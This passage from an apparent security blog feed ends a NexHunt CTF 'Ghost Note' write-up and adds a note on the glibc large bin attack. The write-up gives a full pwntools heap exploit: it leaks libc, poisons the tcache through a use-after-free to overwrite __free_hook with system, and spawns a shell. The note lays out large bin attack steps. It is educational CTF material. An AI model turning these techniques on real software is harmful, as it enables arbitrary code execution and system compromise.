		<span class="n">log</span><span class="p">.</span><span class="nf">failure</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Show Note | index </span><span class="si">{</span><span class="n">index</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
		<span class="n">self</span><span class="p">.</span><span class="nf">menu</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>
		<span class="nf">sla</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">Index: </span><span class="sh">"</span><span class="p">,</span> <span class="nf">str</span><span class="p">(</span><span class="n">index</span><span class="p">).</span><span class="nf">encode</span><span class="p">())</span>
		<span class="nf">ru</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">Data: </span><span class="sh">"</span><span class="p">)</span>
		<span class="n">data</span> <span class="o">=</span> <span class="nf">rl</span><span class="p">().</span><span class="nf">rstrip</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="se">\r\n</span><span class="sh">"</span><span class="p">)</span>
		<span class="k">try</span><span class="p">:</span> 
			<span class="n">data</span> <span class="o">=</span> <span class="n">data</span><span class="p">[:</span><span class="mi">8</span><span class="p">]</span>
			<span class="n">leak</span> <span class="o">=</span> <span class="nf">u64</span><span class="p">(</span><span class="n">data</span><span class="p">.</span><span class="nf">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x00</span><span class="sh">"</span><span class="p">))</span>
			<span class="nf">print_leak</span><span class="p">(</span><span class="sh">"</span><span class="s">Leak</span><span class="sh">"</span><span class="p">,</span> <span class="n">leak</span><span class="p">)</span>
			<span class="k">return</span> <span class="n">leak</span>
		<span class="k">except</span><span class="p">:</span>
			<span class="n">log</span><span class="p">.</span><span class="nf">info</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Data: </span><span class="si">{</span><span class="n">data</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
			<span class="k">return</span> <span class="mi">0</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">gn</code> is the object of the this class</p>

<h4 id="stage-1-libc-address-leak">Stage 1: Libc Address Leak</h4>

<p>Allocate the chunks.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gn</span><span class="p">.</span><span class="nf">add_note</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="mh">0x600</span><span class="p">,</span> <span class="sa">b</span><span class="sh">"</span><span class="s">A</span><span class="sh">"</span><span class="mh">0xf</span><span class="p">)</span> <span class="c1"># large size so it goes to unsorted bin
</span><span class="n">gn</span><span class="p">.</span><span class="nf">add_note</span><span class="p">(</span><span class="mi">9</span><span class="p">,</span> <span class="mh">0x10</span><span class="p">,</span> <span class="sa">b</span><span class="sh">"</span><span class="s">/bin/sh</span><span class="se">\x00</span><span class="sh">"</span><span class="p">)</span> <span class="c1"># to prevent consoliddation | will be used later on again
</span> 
<span class="n">leak</span> <span class="o">=</span> <span class="n">gn</span><span class="p">.</span><span class="nf">show_note</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span> <span class="c1"># this will leak the libc address
</span>
</code></pre></div></div>

<p>Trigger the unsorted bin: free the large chunk</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gn</span><span class="p">.</span><span class="nf">delete_note</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span><span class="c1"># it goes to unsorted bin
</span></code></pre></div></div>

<p>Leak the address</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">leak</span> <span class="o">=</span> <span class="n">gn</span><span class="p">.</span><span class="nf">show_note</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span> <span class="c1"># this will leak the libc address
</span></code></pre></div></div>

<p>Calculate the libc base address</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">leak</span> <span class="o">-</span> <span class="mh">0x1ecbe0</span>
</code></pre></div></div>

<h4 id="stage-2-tcache-poisoning-and-hook-hijacking">Stage 2: Tcache Poisoning and Hook Hijacking</h4>

<p>Allocate and free two small chunks of the same size</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gn</span><span class="p">.</span><span class="nf">add_note</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="sa">b</span><span class="sh">"</span><span class="s">X</span><span class="sh">"</span><span class="o">*</span><span class="mh">0x48</span><span class="p">)</span>
<span class="n">gn</span><span class="p">.</span><span class="nf">add_note</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="sa">b</span><span class="sh">"</span><span class="s">Y</span><span class="sh">"</span><span class="o">*</span><span class="mh">0x48</span><span class="p">)</span>

<span class="n">gn</span><span class="p">.</span><span class="nf">delete_note</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">gn</span><span class="p">.</span><span class="nf">delete_note</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</code></pre></div></div>

<p>Use the <code class="language-plaintext highlighter-rouge">UAF</code> to corrupt the <code class="language-plaintext highlighter-rouge">next/fd</code> pointer on the second freed chunks. Set it to <code class="language-plaintext highlighter-rouge">__free_hook</code></p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gn</span><span class="p">.</span><span class="nf">edit_note</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="nf">p64</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">__free_hook</span><span class="p">))</span>
</code></pre></div></div>

<p>Allocate to new chunks of the same size as the one that are free. The first chunk returns a chunk from the tcache and the second one returns the <code class="language-plaintext highlighter-rouge">__free_hook</code>. Overwrite the <code class="language-plaintext highlighter-rouge">__free_hook</code> chunk with the address of the <code class="language-plaintext highlighter-rouge">system()</code></p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gn</span><span class="p">.</span><span class="nf">add_note</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="sa">b</span><span class="sh">"</span><span class="s">B</span><span class="sh">"</span><span class="o">*</span><span class="mh">0x48</span><span class="p">)</span>
<span class="n">gn</span><span class="p">.</span><span class="nf">add_note</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="nf">p64</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">system</span><span class="p">))</span>
</code></pre></div></div>

<p>Trigger shell. Free the chunk that contains the string <code class="language-plaintext highlighter-rouge">/bin/sh</code>. Remember that the guard chunk we allocated ealier contains that string.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gn</span><span class="p">.</span><span class="nf">delete_note</span><span class="p">(</span><span class="mi">9</span><span class="p">)</span>
</code></pre></div></div>

<p>That pops a shell</p>

<p><img src="/assets/images/writeups/nexhunt/ghost_note/shell.png" alt="Shell" /></p>

<p>The full exploit</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">GhostNote</span><span class="p">:</span>
	<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
		<span class="k">pass</span>

	<span class="k">def</span> <span class="nf">menu</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">choice</span><span class="p">):</span>
		<span class="nf">sla</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">&gt; </span><span class="sh">"</span><span class="p">,</span> <span class="nf">str</span><span class="p">(</span><span class="n">choice</span><span class="p">).</span><span class="nf">encode</span><span class="p">())</span>

	<span class="k">def</span> <span class="nf">send_index</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">index</span><span class="p">):</span>
		<span class="nf">sla</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">Index: </span><span class="sh">"</span><span class="p">,</span> <span class="nf">str</span><span class="p">(</span><span class="n">index</span><span class="p">).</span><span class="nf">encode</span><span class="p">())</span>

	<span class="k">def</span> <span class="nf">add_note</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">index</span><span class="p">:</span><span class="nb">int</span><span class="p">,</span> <span class="n">size</span><span class="p">:</span><span class="nb">int</span><span class="p">,</span> <span class="n">note</span><span class="p">:</span><span class="nb">bytes</span><span class="p">):</span>
		<span class="n">self</span><span class="p">.</span><span class="nf">menu</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
		<span class="n">log</span><span class="p">.</span><span class="nf">info</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Adding Note | index </span><span class="si">{</span><span class="n">index</span><span class="si">}</span><span class="s"> | </span><span class="si">{</span><span class="n">note</span><span class="p">[</span><span class="si">:</span><span class="mi">8</span><span class="p">]</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
		<span class="nf">sla</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">(0-9): </span><span class="sh">"</span><span class="p">,</span> <span class="nf">str</span><span class="p">(</span><span class="n">index</span><span class="p">).</span><span class="nf">encode</span><span class="p">())</span>
		<span class="nf">sla</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">Size: </span><span class="sh">"</span><span class="p">,</span> <span class="nf">str</span><span class="p">(</span><span class="n">size</span><span class="p">).</span><span class="nf">encode</span><span class="p">())</span>
		<span class="nf">sla</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">Content: </span><span class="sh">"</span><span class="p">,</span> <span class="n">note</span><span class="p">)</span>
		<span class="nf">rl</span><span class="p">()</span>

	<span class="k">def</span> <span class="nf">delete_note</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">index</span><span class="p">):</span>
		<span class="n">log</span><span class="p">.</span><span class="nf">info</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Delete Note | index </span><span class="si">{</span><span class="n">index</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
		<span class="n">self</span><span class="p">.</span><span class="nf">menu</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
		<span class="n">self</span><span class="p">.</span><span class="nf">send_index</span><span class="p">(</span><span class="n">index</span><span class="p">)</span>
		<span class="nf">rl</span><span class="p">()</span>

	<span class="k">def</span> <span class="nf">edit_note</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">index</span><span class="p">,</span> <span class="n">note</span><span class="p">):</span>
		<span class="n">log</span><span class="p">.</span><span class="nf">info</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Edit Note | index </span><span class="si">{</span><span class="n">index</span><span class="si">}</span><span class="s"> | </span><span class="si">{</span><span class="n">note</span><span class="p">[</span><span class="si">:</span><span class="mi">8</span><span class="p">]</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
		<span class="n">self</span><span class="p">.</span><span class="nf">menu</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
		<span class="n">self</span><span class="p">.</span><span class="nf">send_index</span><span class="p">(</span><span class="n">index</span><span class="p">)</span>
		<span class="nf">sa</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">New Content: </span><span class="sh">"</span><span class="p">,</span> <span class="n">note</span><span class="p">)</span>
		<span class="c1">#ru(b"New Content: ")
</span>		<span class="c1">#s(note)
</span>
	<span class="k">def</span> <span class="nf">show_note</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">index</span><span class="p">):</span>
		<span class="n">log</span><span class="p">.</span><span class="nf">failure</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Show Note | index </span><span class="si">{</span><span class="n">index</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
		<span class="n">self</span><span class="p">.</span><span class="nf">menu</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>
		<span class="c1">#self.send_index(3)
</span>		<span class="nf">sla</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">Index: </span><span class="sh">"</span><span class="p">,</span> <span class="nf">str</span><span class="p">(</span><span class="n">index</span><span class="p">).</span><span class="nf">encode</span><span class="p">())</span>
		<span class="nf">ru</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">Data: </span><span class="sh">"</span><span class="p">)</span>
		<span class="n">data</span> <span class="o">=</span> <span class="nf">rl</span><span class="p">().</span><span class="nf">rstrip</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="se">\r\n</span><span class="sh">"</span><span class="p">)</span>
		<span class="c1">#print(data[:8])
</span>		<span class="k">try</span><span class="p">:</span> 
			<span class="n">data</span> <span class="o">=</span> <span class="n">data</span><span class="p">[:</span><span class="mi">8</span><span class="p">]</span>
			<span class="n">leak</span> <span class="o">=</span> <span class="nf">u64</span><span class="p">(</span><span class="n">data</span><span class="p">.</span><span class="nf">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x00</span><span class="sh">"</span><span class="p">))</span>
			<span class="nf">print_leak</span><span class="p">(</span><span class="sh">"</span><span class="s">Leak</span><span class="sh">"</span><span class="p">,</span> <span class="n">leak</span><span class="p">)</span>
			<span class="k">return</span> <span class="n">leak</span>
		<span class="k">except</span><span class="p">:</span>
			<span class="n">log</span><span class="p">.</span><span class="nf">info</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Data: </span><span class="si">{</span><span class="n">data</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
			<span class="k">return</span> <span class="mi">0</span>
			
<span class="k">def</span> <span class="nf">exploit</span><span class="p">():</span>
	<span class="c1">##################################################################### 
</span>	<span class="c1">######################## EXPLOIT CODE ###############################
</span>	<span class="c1">#####################################################################
</span>	<span class="n">gn</span> <span class="o">=</span> <span class="nc">GhostNote</span><span class="p">()</span>

	<span class="c1"># leak | find libc base
</span>	<span class="n">gn</span><span class="p">.</span><span class="nf">add_note</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="mh">0x600</span><span class="p">,</span> <span class="sa">b</span><span class="sh">"</span><span class="s">A</span><span class="sh">"</span><span class="o">*</span><span class="mh">0xf</span><span class="p">)</span>
	<span class="n">gn</span><span class="p">.</span><span class="nf">add_note</span><span class="p">(</span><span class="mi">9</span><span class="p">,</span> <span class="mh">0x10</span><span class="p">,</span> <span class="sa">b</span><span class="sh">"</span><span class="s">/bin/sh</span><span class="se">\x00</span><span class="sh">"</span><span class="p">)</span>
	<span class="n">gn</span><span class="p">.</span><span class="nf">delete_note</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span>
	<span class="n">leak</span> <span class="o">=</span> <span class="n">gn</span><span class="p">.</span><span class="nf">show_note</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span>
	<span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">leak</span> <span class="o">-</span> <span class="mh">0x1ecbe0</span>
	<span class="n">one_gadget</span> <span class="o">=</span> <span class="mh">0xe3afe</span>
	<span class="nf">print_leak</span><span class="p">(</span><span class="sh">"</span><span class="s">libc base</span><span class="sh">"</span><span class="p">,</span> <span class="n">libc</span><span class="p">.</span><span class="n">address</span><span class="p">)</span>
	<span class="nf">print_leak</span><span class="p">(</span><span class="sh">"</span><span class="s">__free_hook</span><span class="sh">"</span><span class="p">,</span> <span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">__free_hook</span><span class="p">)</span>
	
	<span class="n">gn</span><span class="p">.</span><span class="nf">add_note</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="sa">b</span><span class="sh">"</span><span class="s">X</span><span class="sh">"</span><span class="o">*</span><span class="mh">0x48</span><span class="p">)</span>
	<span class="n">gn</span><span class="p">.</span><span class="nf">add_note</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="sa">b</span><span class="sh">"</span><span class="s">Y</span><span class="sh">"</span><span class="o">*</span><span class="mh">0x48</span><span class="p">)</span>

	<span class="n">gn</span><span class="p">.</span><span class="nf">delete_note</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
	<span class="n">gn</span><span class="p">.</span><span class="nf">delete_note</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>

	<span class="n">gn</span><span class="p">.</span><span class="nf">edit_note</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="nf">p64</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">__free_hook</span><span class="p">))</span>
	<span class="n">gn</span><span class="p">.</span><span class="nf">add_note</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="sa">b</span><span class="sh">"</span><span class="s">B</span><span class="sh">"</span><span class="o">*</span><span class="mh">0x48</span><span class="p">)</span> <span class="c1"># same as 1
</span>	<span class="n">gn</span><span class="p">.</span><span class="nf">add_note</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="nf">p64</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">system</span><span class="p">))</span>
	
	<span class="n">gn</span><span class="p">.</span><span class="nf">delete_note</span><span class="p">(</span><span class="mi">9</span><span class="p">)</span>
</code></pre></div></div>

<p><a href="https://github.com/t1b4n3/ctf-writeups/blob/main/nexhunt/ghostnote/xpl.py">FULL EXPLOIT</a></p>]]></content><author><name></name></author><category term="writeup" /><category term="pwn" /><summary type="html"><![CDATA[I was looking for some CTFs to play during the weekend then I saw that NexHunt CTF had a few hours left so I joined the CTF with about 3 hours left until the CTF ends. I was only able to solve 2 pwn challenges during those hours. Archive Keeper]]></summary></entry><entry><title type="html">Large Bin Attack</title><link href="https://t1b4n3.github.io/notes/heap-exploitation/large-bin-attack/" rel="alternate" type="text/html" title="Large Bin Attack" /><published>2025-11-15T00:00:00+02:00</published><updated>2025-11-15T00:00:00+02:00</updated><id>https://t1b4n3.github.io/notes/heap-exploitation/large-bin-attack</id><content type="html" xml:base="https://t1b4n3.github.io/notes/heap-exploitation/large-bin-attack/"><![CDATA[<h1 id="large-bin-attack">Large bin attack.</h1>

<p>This technique allows you to modify an arbitrary address with an value of a large bin chunk. This technique alone is not enough to get code execution, in modern <code class="language-plaintext highlighter-rouge">GLIBC</code> FSOP in needed to finish exploit, overwrite <code class="language-plaintext highlighter-rouge">_IO_list_all</code> to forge fake <code class="language-plaintext highlighter-rouge">_IO_File</code> structures and in older <code class="language-plaintext highlighter-rouge">GLIBC</code> you could overwrite <code class="language-plaintext highlighter-rouge">global_max_fast</code> and perform a <code class="language-plaintext highlighter-rouge">fastbin poison/dup</code>.</p>
<h2 id="large-bin-summary">Large bin summary:</h2>

<p>This is the structure for large bins.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">malloc_chunk</span> <span class="p">{</span>
  <span class="n">INTERNAL_SIZE_T</span>      <span class="n">mchunk_prev_size</span><span class="p">;</span>  <span class="cm">/* Size of previous chunk, if it is free. */</span>
  <span class="n">INTERNAL_SIZE_T</span>      <span class="n">mchunk_size</span><span class="p">;</span>       <span class="cm">/* Size in bytes, including overhead. */</span>
    <span class="cm">/* double links -- used only if this chunk is free. */</span>
  <span class="k">struct</span> <span class="n">malloc_chunk</span><span class="o">*</span> <span class="n">fd</span><span class="p">;</span>              
  <span class="k">struct</span> <span class="n">malloc_chunk</span><span class="o">*</span> <span class="n">bk</span><span class="p">;</span>
  <span class="cm">/* Only used for large blocks: pointer to next larger size.  */</span>
  <span class="k">struct</span> <span class="n">malloc_chunk</span><span class="o">*</span> <span class="n">fd_nextsize</span><span class="p">;</span>
  <span class="k">struct</span> <span class="n">malloc_chunk</span><span class="o">*</span> <span class="n">bk_nextsize</span><span class="p">;</span>
<span class="p">};</span>
<span class="k">typedef</span> <span class="k">struct</span> <span class="n">malloc_chunk</span><span class="o">*</span> <span class="n">mchunkptr</span><span class="p">;</span>
</code></pre></div></div>

<p>Large bins store chunks within a specific range and not of the same size. In order to speed up indexing and searching the <code class="language-plaintext highlighter-rouge">fd_nextsize</code> and <code class="language-plaintext highlighter-rouge">bk_nextsize</code> were introduced, these points are used to traverse chunks of the group size.</p>

<h2 id="how-does-the-attack-work">How does the attack work?</h2>

<p>The attack happens in the process when a chunk is inserted into a large bin, which then is unlinked and pointers are changed in the relevant chunks.</p>

<p>The goal is to modify the <code class="language-plaintext highlighter-rouge">bk_nextsize</code> field of a chunk.</p>

<p>When <code class="language-plaintext highlighter-rouge">GLIBC</code> inserts a chunk into a large bin, it performs pointer updates. The goal is to hijack which pointers <code class="language-plaintext highlighter-rouge">GLIBC</code> updates, so that it writes an arbitrary address into a arbitrary memory location.</p>

<p><strong>So why do we need to used chunks of different sizes?</strong></p>

<p>When inserting a chunk into a large bin, <code class="language-plaintext highlighter-rouge">glibc</code> compares sizes:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">size</span> <span class="o">==</span> <span class="n">chunksize_nomask</span><span class="p">(</span><span class="n">fwd</span><span class="p">))</span> 
	<span class="n">fwd</span> <span class="o">=</span> <span class="n">fwd</span><span class="o">-&gt;</span><span class="n">fd</span><span class="p">;</span> <span class="c1">// insert second inlist, skip nextsize updates.</span>
</code></pre></div></div>

<p>if the sizes are equal, <code class="language-plaintext highlighter-rouge">GLIBC</code> does not touch the <code class="language-plaintext highlighter-rouge">nextsize</code> pointers.</p>

<p>This attack targets the <code class="language-plaintext highlighter-rouge">nextsize</code> list, which is used when chunks are not of the same size but are still in the same large (within a certain range).</p>

<p><strong>What actually happens during large bin insertion?</strong></p>

<p><code class="language-plaintext highlighter-rouge">GLIBC</code> &lt;= 2.29</p>

<p>There are two possible cases depending on size:</p>
<ol>
  <li>Inserted chunk is smaller
    <ul>
      <li><code class="language-plaintext highlighter-rouge">fwd-&gt;fd-&gt;bk_nextsize  = victim;</code></li>
    </ul>
  </li>
  <li>Inserted chunk is larger
    <ul>
      <li><code class="language-plaintext highlighter-rouge">victim-&gt;bk_nextsize-&gt;fd_nextsize = victim;</code></li>
    </ul>
  </li>
</ol>

<p>Either cases gives a write to one of the <code class="language-plaintext highlighter-rouge">nextsize</code> pointers.</p>

<p><code class="language-plaintext highlighter-rouge">GLIBC</code> &gt;= 2.30</p>

<p>Everything changed, as a new integrity check was introduced to prevent the second case (inserted chunk is larger) from working.</p>

<p>Only this case works:</p>

<ol>
  <li>Inserted chunk is smaller than the smallest chunk
    <ul>
      <li><code class="language-plaintext highlighter-rouge">victim-&gt;bk_nextsize-&gt;fd_nextsize = victim;</code></li>
    </ul>
  </li>
</ol>

<p>This means <code class="language-plaintext highlighter-rouge">GLIBC</code> will write the address of the inserted chunk into <code class="language-plaintext highlighter-rouge">bk_next_size + 0x20</code> because <code class="language-plaintext highlighter-rouge">fd_nextsize</code> is <code class="language-plaintext highlighter-rouge">0x20</code> bytes after the pointer to the chunk.</p>

<h2 id="exploitation-steps">Exploitation Steps</h2>

<h3 id="prerequisites">Prerequisites</h3>

<ol>
  <li>Allocate a large chunk.
    <ul>
      <li>Lets call it  <code class="language-plaintext highlighter-rouge">chunkA</code></li>
    </ul>
  </li>
  <li>Allocate a chunk smaller than <code class="language-plaintext highlighter-rouge">chunkA</code>.
     - Lets call it <code class="language-plaintext highlighter-rouge">chunkB</code></li>
  <li>Allocate a guard chunk to prevent consolidation.</li>
  <li>Free <code class="language-plaintext highlighter-rouge">chunkA</code>.
    <ul>
      <li><code class="language-plaintext highlighter-rouge">chunkA</code> will be placed in the unsorted bin.</li>
    </ul>
  </li>
  <li>Allocate a chunk larger than <code class="language-plaintext highlighter-rouge">chunkA</code>.
    <ul>
      <li>Lets call it <code class="language-plaintext highlighter-rouge">chunkC</code></li>
      <li>This is done so that <code class="language-plaintext highlighter-rouge">chunkA</code> is sorted into the large bin.</li>
    </ul>
  </li>
  <li>Free <code class="language-plaintext highlighter-rouge">chunkB</code></li>
  <li>Now modify <code class="language-plaintext highlighter-rouge">chunkA</code>
    <ul>
      <li>Modify <code class="language-plaintext highlighter-rouge">chunkA-&gt;bk_nextsize</code> to point to <code class="language-plaintext highlighter-rouge">[target - 0x20]</code></li>
    </ul>
  </li>
  <li>Allocate a larger chunk than <code class="language-plaintext highlighter-rouge">chunkB</code>.
    <ul>
      <li>This is done so that <code class="language-plaintext highlighter-rouge">chunkB</code> can be sorted into large bin, then <code class="language-plaintext highlighter-rouge">GLIBC</code> will try to update the pointers which leads to overwriting the address <code class="language-plaintext highlighter-rouge">chunkA-&gt;bk_nextsize-&gt;fd_nextsize</code> with the address of <code class="language-plaintext highlighter-rouge">chunkB</code></li>
    </ul>
  </li>
  <li>Now <code class="language-plaintext highlighter-rouge">target == chunkB</code></li>
</ol>

<hr />

<h2 id="demo">Demo</h2>

<p>Comming soon</p>

<h2 id="resources">Resources</h2>]]></content><author><name></name></author><category term="Notes" /><category term="heap-exploitation" /><category term="large-bin" /><category term="heap" /><summary type="html"><![CDATA[Explanation of large bin attack]]></summary></entry></feed>